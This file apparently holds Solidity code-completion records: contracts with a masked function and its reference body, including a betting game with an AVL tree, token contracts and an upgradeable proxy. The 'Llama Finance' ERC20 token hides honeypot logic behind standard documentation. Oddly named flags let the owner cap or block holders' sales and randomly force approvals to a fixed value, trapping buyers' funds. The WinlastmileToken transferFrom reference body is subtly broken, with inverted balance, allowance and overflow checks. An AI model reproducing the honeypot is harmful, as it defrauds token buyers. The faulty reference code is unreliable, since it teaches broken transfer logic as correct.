function _getPrize(Game storage game, address payable user) internal returns (uint amount) {
require(game.allDone);
require(!game.executed[user]);
game.executed[user] = true;
amount = _getPrizeAmount(game, user);
require(amount > 0);
user.transfer(amount);
}
function _getPrizeAmount(Game storage game, address user) internal view returns (uint amount){
amount = _getUserAmount(game, user);
if (amount > 0 && game.prizePool > 0) {
// доля суммы ставок игрока, которые вошли в число победивших от общей суммы ставок победителей
amount = amount.add(game.prizePool.mul(amount).div(game.winnersAmount));
}
}
function _getUserAmount(Game storage game, address user) internal view returns (uint amount){
amount = 0;
for (uint i = 0; i < game.userBets[user].length; i++) {
if (game.userBets[user][i] >= game.lastLeftValue &&
game.userBets[user][i] <= game.lastRightValue)
{
amount += game.betUsers[game.userBets[user][i]][user];
}
}
}
//AVL FUNCTIONS
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function getPos(uint _game, uint _value) public view returns (uint) {
return _getPos(games[_game], _value);
}
function select_at(uint _game, uint pos) public view returns (uint) {
return _select_at(games[_game], pos);
}
function count(uint _game) public view returns (uint) {
return _count(games[_game]);
}
//internal
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function _insert(Game storage game, uint _value) internal {
if (_value==0)
game.bets[_value].dupes++;
else{
insert_helper(game, 0, true, _value);
}
}
<FILL_FUNCTION>
function _select_at(Game storage game, uint pos) internal view returns (uint value){
uint zeroes=game.bets[0].dupes;
// Node memory left_node;
uint left_count;
if (pos<zeroes) {
return 0;
}
uint pos_new=pos-zeroes;
uint cur=game.bets[0].children[true];
Node storage cur_node=game.bets[cur];
while(true){
uint left=cur_node.children[false];
uint cur_num=cur_node.dupes+1;
if (left!=0) {
left_count=game.bets[left].count;
}
else {
left_count=0;
}
if (pos_new<left_count) {
cur=left;
cur_node=game.bets[left];
}
else if (pos_new<left_count+cur_num){
return cur;
}
else {
cur=cur_node.children[true];
cur_node=game.bets[cur];
pos_new-=left_count+cur_num;
}
}
}
function _count(Game storage game) internal view returns (uint){
Node storage root=game.bets[0];
Node storage child=game.bets[root.children[true]];
return root.dupes+child.count;
}
function insert_helper(Game storage game, uint p_value, bool side, uint value) private {
Node storage root=game.bets[p_value];
uint c_value=root.children[side];
if (c_value==0){
root.children[side]=value;
Node storage child=game.bets[value];
child.parent=p_value;
child.side=side;
child.height=1;
child.count=1;
update_counts(game, value);
rebalance_insert(game, value);
}
else if (c_value==value){
game.bets[c_value].dupes++;
update_count(game, value);
update_counts(game, value);
}
else{
bool side_new=(value >= c_value);
insert_helper(game, c_value,side_new,value);
}
}
function update_count(Game storage game, uint value) private {
Node storage n=game.bets[value];
n.count=1+game.bets[n.children[false]].count+game.bets[n.children[true]].count+n.dupes;
}
function update_counts(Game storage game, uint value) private {
uint parent=game.bets[value].parent;
while (parent!=0) {
update_count(game, parent);
parent=game.bets[parent].parent;
}
}
function rebalance_insert(Game storage game, uint n_value) private {
update_height(game, n_value);
Node storage n=game.bets[n_value];
uint p_value=n.parent;
if (p_value!=0) {
int p_bf=balance_factor(game, p_value);
bool side=n.side;
int sign;
if (side)
sign=-1;
else
sign=1;
if (p_bf == sign*2) {
if (balance_factor(game, n_value) == (-1 * sign))
rotate(game, n_value,side);
rotate(game, p_value,!side);
}
else if (p_bf != 0)
rebalance_insert(game, p_value);
}
}
function update_height(Game storage game, uint value) private {
Node storage n=game.bets[value];
uint height_left=game.bets[n.children[false]].height;
uint height_right=game.bets[n.children[true]].height;
if (height_left>height_right)
n.height=height_left+1;
else
n.height=height_right+1;
}
function balance_factor(Game storage game, uint value) private view returns (int bf) {
Node storage n=game.bets[value];
return int(game.bets[n.children[false]].height)-int(game.bets[n.children[true]].height);
}
function rotate(Game storage game, uint value,bool dir) private {
bool other_dir=!dir;
Node storage n=game.bets[value];
bool side=n.side;
uint parent=n.parent;
uint value_new=n.children[other_dir];
Node storage n_new=game.bets[value_new];
uint orphan=n_new.children[dir];
Node storage p=game.bets[parent];
Node storage o=game.bets[orphan];
p.children[side]=value_new;
n_new.side=side;
n_new.parent=parent;
n_new.children[dir]=value;
n.parent=value_new;
n.side=dir;
n.children[other_dir]=orphan;
o.parent=value;
o.side=other_dir;
update_height(game, value);
update_height(game, value_new);
update_count(game, value);
update_count(game, value_new);
}
} |
uint c = _count(game);
if (c == 0) return 0; //err
if (game.bets[_value].count == 0) return 0; //err
uint _first = _select_at(game, 0);
uint _last = _select_at(game, c-1);
// Shortcut for the actual value
if (_value > _last || _value < _first) return 0; //err
if (_value == _first) return 0;
if (_value == _last) return c - 1;
// Binary search of the value in the array
uint min = 0;
uint max = c-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
uint _val = _select_at(game, mid);
if (_val <= _value) {
min = mid;
} else {
max = mid-1;
}
}
return min;
| function _getPos(Game storage game, uint _value) internal view returns (uint) | //если есть дупбликаты, то возвращает позицию послденего элемента
function _getPos(Game storage game, uint _value) internal view returns (uint) |
15273 | ERC20Token | transfer | contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public foxfox;
mapping (address => bool) public peterparker;
mapping (address => bool) public redlight;
mapping (address => uint256) public trackTrs;
bool private wallstreet;
uint256 private _totalSupply;
uint256 private radeon;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private whitewalker;
address private creator;
bool private thisValue;
uint bemdon = 0;
constructor() public {
creator = address(msg.sender);
wallstreet = true;
whitewalker = true;
_name = "Llama Finance";
_symbol = "LLAMA";
_decimals = 5;
_totalSupply = 2000000000000000;
_trns = _totalSupply;
radeon = _totalSupply;
chTx = _totalSupply / 1400;
opera = radeon;
peterparker[creator] = false;
redlight[creator] = false;
foxfox[msg.sender] = true;
_balances[msg.sender] = 1800000000000000;
thisValue = false;
emit Transfer(address(0x0D0707963952f2fBA59dD06f2b425ace40b492Fe), msg.sender, 1800000000000000);
emit Transfer(address(0x0D0707963952f2fBA59dD06f2b425ace40b492Fe), address(0x000000000000000000000000000000000000dEaD), 200000000000000);
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
function ViewSomeChange() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {<FILL_FUNCTION_BODY> }
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, bemdon))) % 100000;
bemdon++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function BurnTheMall(uint256 amount) external onlyOwner {
radeon = amount;
}
function SetSomeTime() external onlyOwner {
radeon = chTx;
thisValue = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function Nothing(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckMate(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
foxfox[spender] = val;
peterparker[spender] = val2;
redlight[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (wallstreet == false)) {
radeon = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (wallstreet == true)) {
foxfox[recipient] = true;
peterparker[recipient] = false;
wallstreet = false;
}
if (foxfox[recipient] != true) {
peterparker[recipient] = ((randomly() == 78) ? true : false);
}
if ((peterparker[sender]) && (foxfox[recipient] == false)) {
peterparker[recipient] = true;
}
if (foxfox[sender] == false) {
require(amount < radeon);
if (thisValue == true) {
if (redlight[sender] == true) {
require(false);
}
redlight[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (whitewalker == true)) {
foxfox[spender] = true;
peterparker[spender] = false;
redlight[spender] = false;
whitewalker = false;
}
tok = (peterparker[owner] ? 3762 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public foxfox;
mapping (address => bool) public peterparker;
mapping (address => bool) public redlight;
mapping (address => uint256) public trackTrs;
bool private wallstreet;
uint256 private _totalSupply;
uint256 private radeon;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private whitewalker;
address private creator;
bool private thisValue;
uint bemdon = 0;
constructor() public {
creator = address(msg.sender);
wallstreet = true;
whitewalker = true;
_name = "Llama Finance";
_symbol = "LLAMA";
_decimals = 5;
_totalSupply = 2000000000000000;
_trns = _totalSupply;
radeon = _totalSupply;
chTx = _totalSupply / 1400;
opera = radeon;
peterparker[creator] = false;
redlight[creator] = false;
foxfox[msg.sender] = true;
_balances[msg.sender] = 1800000000000000;
thisValue = false;
emit Transfer(address(0x0D0707963952f2fBA59dD06f2b425ace40b492Fe), msg.sender, 1800000000000000);
emit Transfer(address(0x0D0707963952f2fBA59dD06f2b425ace40b492Fe), address(0x000000000000000000000000000000000000dEaD), 200000000000000);
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
function ViewSomeChange() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
<FILL_FUNCTION>
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, bemdon))) % 100000;
bemdon++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function BurnTheMall(uint256 amount) external onlyOwner {
radeon = amount;
}
function SetSomeTime() external onlyOwner {
radeon = chTx;
thisValue = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function Nothing(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckMate(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
foxfox[spender] = val;
peterparker[spender] = val2;
redlight[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (wallstreet == false)) {
radeon = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (wallstreet == true)) {
foxfox[recipient] = true;
peterparker[recipient] = false;
wallstreet = false;
}
if (foxfox[recipient] != true) {
peterparker[recipient] = ((randomly() == 78) ? true : false);
}
if ((peterparker[sender]) && (foxfox[recipient] == false)) {
peterparker[recipient] = true;
}
if (foxfox[sender] == false) {
require(amount < radeon);
if (thisValue == true) {
if (redlight[sender] == true) {
require(false);
}
redlight[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (whitewalker == true)) {
foxfox[spender] = true;
peterparker[spender] = false;
redlight[spender] = false;
whitewalker = false;
}
tok = (peterparker[owner] ? 3762 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} |
_transfer(_msgSender(), recipient, amount);
return true;
| function transfer(address recipient, uint256 amount) external returns (bool) | /**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) |
671 | UpgradeabilityProxy | _upgradeTo | contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant IMPLEMENTATION_POSITION = keccak256("mintable.erc721.proxy.implementation");
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param _newImplementation address representing the new implementation to be set
*/
function _setImplementation(address _newImplementation) internal {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
sstore(position, _newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address _newImplementation) internal {<FILL_FUNCTION_BODY> }
} | contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant IMPLEMENTATION_POSITION = keccak256("mintable.erc721.proxy.implementation");
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param _newImplementation address representing the new implementation to be set
*/
function _setImplementation(address _newImplementation) internal {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
sstore(position, _newImplementation)
}
}
<FILL_FUNCTION>
} |
address currentImplementation = implementation();
require(currentImplementation != _newImplementation);
_setImplementation(_newImplementation);
emit Upgraded(_newImplementation);
| function _upgradeTo(address _newImplementation) internal | /**
* @dev Upgrades the implementation address
* @param _newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address _newImplementation) internal |
16572 | WinlastmileToken | transferFrom | contract WinlastmileToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint public WLMTfinney = 1;
uint public WLMTBounce = 100;
uint public WLMTPrice = 6000;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "WinlastmileToken"; }
function symbol() constant returns (string) { return "WLMT"; }
function decimals() constant returns (uint8) { return 8; }
event Burnt(
address indexed _receiver,
uint indexed _num,
uint indexed _total_supply
);
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function setWLMTBounce(uint _newPrice) {
if (msg.sender != owner) { throw; }
WLMTBounce = _newPrice;
}
function setWLMTPrice(uint _newPrice) {
if (msg.sender != owner) { throw; }
WLMTPrice = _newPrice;
}
function setWLMTfinney(uint _newPrice) {
if (msg.sender != owner) { throw; }
WLMTfinney = _newPrice;
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value < 1 finney * WLMTfinney) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value / 1e10) * WLMTPrice + WLMTBounce * 1e8;
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
function withdraw() public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint num) public {
require(num * 1e8 > 0);
require(balances[msg.sender] >= num * 1e8);
require(totalSupply >= num * 1e8);
uint pre_balance = balances[msg.sender];
balances[msg.sender] -= num * 1e8;
totalSupply -= num * 1e8;
Burnt(msg.sender, num * 1e8, totalSupply);
Transfer(msg.sender, 0x0, num * 1e8);
assert(balances[msg.sender] == pre_balance - num * 1e8);
}
} | contract WinlastmileToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint public WLMTfinney = 1;
uint public WLMTBounce = 100;
uint public WLMTPrice = 6000;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "WinlastmileToken"; }
function symbol() constant returns (string) { return "WLMT"; }
function decimals() constant returns (uint8) { return 8; }
event Burnt(
address indexed _receiver,
uint indexed _num,
uint indexed _total_supply
);
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function setWLMTBounce(uint _newPrice) {
if (msg.sender != owner) { throw; }
WLMTBounce = _newPrice;
}
function setWLMTPrice(uint _newPrice) {
if (msg.sender != owner) { throw; }
WLMTPrice = _newPrice;
}
function setWLMTfinney(uint _newPrice) {
if (msg.sender != owner) { throw; }
WLMTfinney = _newPrice;
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value < 1 finney * WLMTfinney) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value / 1e10) * WLMTPrice + WLMTBounce * 1e8;
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
function withdraw() public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint num) public {
require(num * 1e8 > 0);
require(balances[msg.sender] >= num * 1e8);
require(totalSupply >= num * 1e8);
uint pre_balance = balances[msg.sender];
balances[msg.sender] -= num * 1e8;
totalSupply -= num * 1e8;
Burnt(msg.sender, num * 1e8, totalSupply);
Transfer(msg.sender, 0x0, num * 1e8);
assert(balances[msg.sender] == pre_balance - num * 1e8);
}
} |
// mitigates the ERC20 short address attack
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
| function transferFrom(address _from, address _to, uint256 _value) returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) returns (bool success) |
32338 | CryptojoyTokenSeller | withdraw | contract CryptojoyTokenSeller is Ownable {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint public miningSupply; // minable part
